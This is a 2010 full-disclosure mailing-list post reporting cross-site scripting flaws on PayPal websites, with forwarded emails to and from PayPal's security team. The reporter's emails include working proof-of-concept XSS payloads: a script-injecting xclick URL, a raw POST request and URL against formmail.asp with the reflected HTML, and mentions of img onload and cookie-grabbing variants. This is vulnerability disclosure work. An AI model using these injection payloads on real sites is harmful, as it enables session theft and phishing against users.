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Date: Fri, 22 Oct 2010 01:39:56 +0100 (BST)
From: Dunno Dunno <infosecspecialist@...oo.co.uk>
To: full-disclosure@...ts.grok.org.uk
Subject: Paypal Vulnerabilities 7/2010
The discovery of multiple Cross Site Vulnerabilities have been idenitifed on
Paypal's systems, on Friday, the 2/7/2010.
Multiple vulnerabilities have been disclosed to Paypal, by Leading Security
Expert "Lemonais Nicholas of AISecurity" , following a brief telephone
conversation with the
Paypal security departments. The Paypal team impressed with their absolute
cooperation and professionalism, and their policy for encouraging responsible
and consensus vulnerability disclosure.
From: "ppelce@...pal.co.uk" <ppelce@...pal.co.uk>
To: infosecspecialist@...oo.co.uk
Sent: Thu, 15 July, 2010 10:47:27
Subject: PayPal's Office of Executive Escalations (KMM73645347I96L0KM) :ppk4
15 July 2010
Reference number: 218234
Dear Sirs,
Thank you for your recent email dated 07 July to the offices of PayPal.
Additionally, I would like to apologise for the delay in responding to your
inquiry regarding your PayPal account.
I would like to thank you for taking the time to contact our Site Security
team regarding your concerns. I can confirm that they are the correct team
to work with you on any potential vulnerability that you may have found.
PayPal is a strong believer in responsible disclosure of vulnerabilities to
service providers, and has provided a framework for handling disclosure of
issues. Please refer to the PayPal Responsible Disclosure Policy
documented here:
https://www.paypal.com/cgi-bin/webscr?cmd=xpt/cps/securitycenter/general/Re
portingSecurityIssues-outside
You can also be assured the feedback you have provided in your recent
correspondence has been taken on board and I can assure you that our
technical and content teams have been made aware of the concerns raised.
At PayPal we value your feedback. It helps us improve our business and
serve you better, and we thank you for taking the time to contact us.
Should you have any further queries on this matter, please feel free to
email us at ppelce@...pal.co.uk.
Yours sincerely,
Cianan
Executive Escalations
PayPal
Copyright © 1999-2010 PayPal. All rights reserved. PayPal (Europe) S.à r.l.
et Cie, S.C.A. Société en Commandite par Actions. Registered Office: 22-24
Boulevard Royal, L-2449, Luxembourg, RCS Luxembourg B 118 349
From: Dunno Dunno <infosecspecialist@...oo.co.uk>
To: sitesecurity@...pal.com
Sent: Tue, 6 July, 2010 23:08:49
Subject: Fw: Paypal Web vulnerability in raw source. _recipients variable does
not validate input and the _requiredFields.
Dear gentlemen,
All usual cross site scripts in theory could be applied to variables.
Within the paypal enterprise, please do make sure that any 'variable' in either
Javascript, or Ruby , or any web language the 'input' is sanitised. Therefore ,
in the main xlick , business variable on paypal.com make sure the search string
is sanitised.
Please read below for more details.
Any help , please do not to call me for more details :)
Thanks,
N.Y
----- Forwarded Message ----
From: Dunno Dunno <infosecspecialist@...oo.co.uk>
To: sitesecurity@...pal.com;
Sent: Tue, 6 July, 2010 23:03:14
Subject: Paypal Web vulnerability in raw source. _recipients variable does not
validate input and the _requiredFields.
Dear Sirs,
Further to our conversation, here are the details of the 'possible'
vulnerability on your website. Although i have not carried further investigation
on the bug, just by leading to the website through gooogle search and viewing
the source legitimately, the accidental bug could be of great importance, as a
user could masquerade to perform future phishing attacks, by a fooling a
legitimately logged user from an other paypal site, within the enterprise..
1) https://www.paypal.com/xclick/business=<script> alert("xss"); </script>
Possible Vulnerability:
https://www.paypal-business.co.uk:443/scripts/formmail.asp
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
<title>Form Mail</title>
<style type="text/css">
body
{
background-color: #ffffff;
color: #000000;
font-family: Arial, Helvetica, sans-serif;
font-size: 10pt;
}
table
{
border: solid 1px #000000;
border-collapse: collapse;
}
td, th
{
border: solid 1px #000000;
font-family: Arial, Helvetica, sans-serif;
font-size: 10pt;
padding: 2px 8px;
}
th
{
background-color: #c0c0c0;
}
.error
{
color: #c00000;
}
</style>
</head>
<body>
<p class="error">
Form could not be processed due to the following errors:</p>
<ul>
<li class="error">No referer.</li>
<li class="error">Missing value for 1<script>alert("IS this
safe?")</script></li> >>> the script does not sanitise input
</ul>
<p><a href="#" onclick="history.go(-1); return false;">Back</a></p>
</body>
</html>
POST https://www.paypal-business.co.uk:443/scripts/formmail.asp HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR
1.1.4322)
Host: www.paypal-business.co.uk
Content-Length: 1517
Cookie:
ASPSESSIONIDQCQDTCSQ=ALPHGCCCOIAOIKJJOGDLCDBM;ASPSESSIONIDCARASASR=OAMFEECCLCLNKPIHFIHBECEC;s_sess=%20s_cc%3Dtrue%3B
Connection: Close
Pragma: no-cache
_recipients=1<script>alert("IS THIS SAFE AND
SECURE?")</script>&_subject=Business%20Hub%20Form%3A%20Sign%20up%20for%20Newsgroup&_requiredFields=firstName%2ClastName%2CemailAddress%2CjobTitle&_redirectUrl=https%3A%2F%2Fwww%2Epaypal-business%2Eco%2Euk%2Finformation-for-developers%2Ffrm_thankyou%2Ehtm&firstName=111-222-1933email@...ress.tst&lastName=111-222-1933email@...ress.tst&DisplayedPayPalAccountHolder=yes&DisplayedHasTransactionalSite=yes&DisplayedProductUsed=Website%20Payments%20Pro&DisplayedCorrectLogo=yes&DisplayedLogoOnHomepage=yes&DisplayedLogoOnProduct=yes&DisplayedLogoOnPayment=yes&DisplayedEstimatedSiteLaunch=less%20than%201%20month&DisplayedEcommerceSolution=yes&DisplayedProvider=123%2Ereg&Company=Paypal&Address1=000-123-4933eml@....xxx&Address2=111-222-1933email@...ress.tst&DisplayedCountry=United%20Kingdom&Postcode=111-222-1933email@...ress.tst&CompanyTel=111-222-1933email@...ress.tst&Compa
nyURL=111-222-1933email@...ress.tst&Email=sample%40email%2Etst&estimatedSiteLaunch=%3C%25%3DestimatedSiteLaunch%20%25%3E&country=%3C%25%3Dcountry%20%25%3E&productUsed=%3C%25%3DproductUsed%20%25%3E&paypalAccountHolder=%3C%25%3DpaypalAccountHolder%20%25%3E&hasTransactionalSite=%3C%25%3DhasTransactionalSite%20%25%3E&ecommerceSolution=%3C%25%3DecommerceSolution%20%25%3E&provider=%3C%25%3Dprovider%20%25%3E&correctLogo=%3C%25%3DcorrectLogo%20%25%3E&logoOnHomePage=%3C%25%3DlogoOnHomePage%20%25%3E&logoOnProductPages=%3C%25%3DlogoOnProductPages%20%25%3E&logoOnPaymentPages=%3C%25%3DlogoOnPaymentPages%20%25%3E
E
Full ViewNew vulnerability discovered.
From: Dunno Dunno <infosecspecialist@...oo.co.uk>Add to Contacts
To: sitesecurity@...pal.com
--------------------------------------------------------------------------------
Dear Sirs,
A vulnerability has been realised accidentally whilst casually browsing the
website and through a search engine redirection of results to paypal bussiness
UK. The report has been made on the 02/07/2010
The security issue looks like an XSS scripting attack, whereby an attacker could
execute an .xss script on the user, or either to redirect to a third party
website, where an xss backdoor or either an xss cookie grabber could be
installed. The attack could be further encoded to fool legitimate users of
PayPal through a phishing attack, or either with the execution of illegal
scripts on legitimate users. The script could also be potentially used for spam
emailing, or for further access to other PayPal domains, if controlled.
the vulnerability occrus on an ASP form on the paypal UK website.
Affected URL:
https://www.paypal-business.co.uk:443/scripts/formmail.asp/?_recipients=jONOrbeton%40paypal%2Ecom%2C%20ahicks%40paypal%2Ecom&_subject=Business%20Hub%20Form%3A%20Sign%20up%20for%20Newsgroup&_requiredFields=1<script>alert("is
this
safe")</script>&_redirectUrl=https%3A%2F%2Fwww%2Epaypal-business%2Eco%2Euk%2Finformation-for-developers%2Ffrm_thankyou%2Ehtm&firstName=333-342-4533info@...pal.com&lastName=331-123-5674infol@...pal.com&emailAddress=331-542-2463infol@...pal.com&jobTitle=A%20St
Please do also note that an <img src=.../../paypal.gif> onload, or either a
redirection to a third party website pointing to an xss script could also be
possible.
We did try to get in touch with you, although the IT department anounced a
remedy for this bug. Please, do also let me know if possible to post this
message to a vulndev according to your public disclaimer for security.
The bug is of a similar nature as ,
http://seclists.org/fulldisclosure/2010/Mar/488
Thanks,
Nick.
Content of type "text/html" skipped
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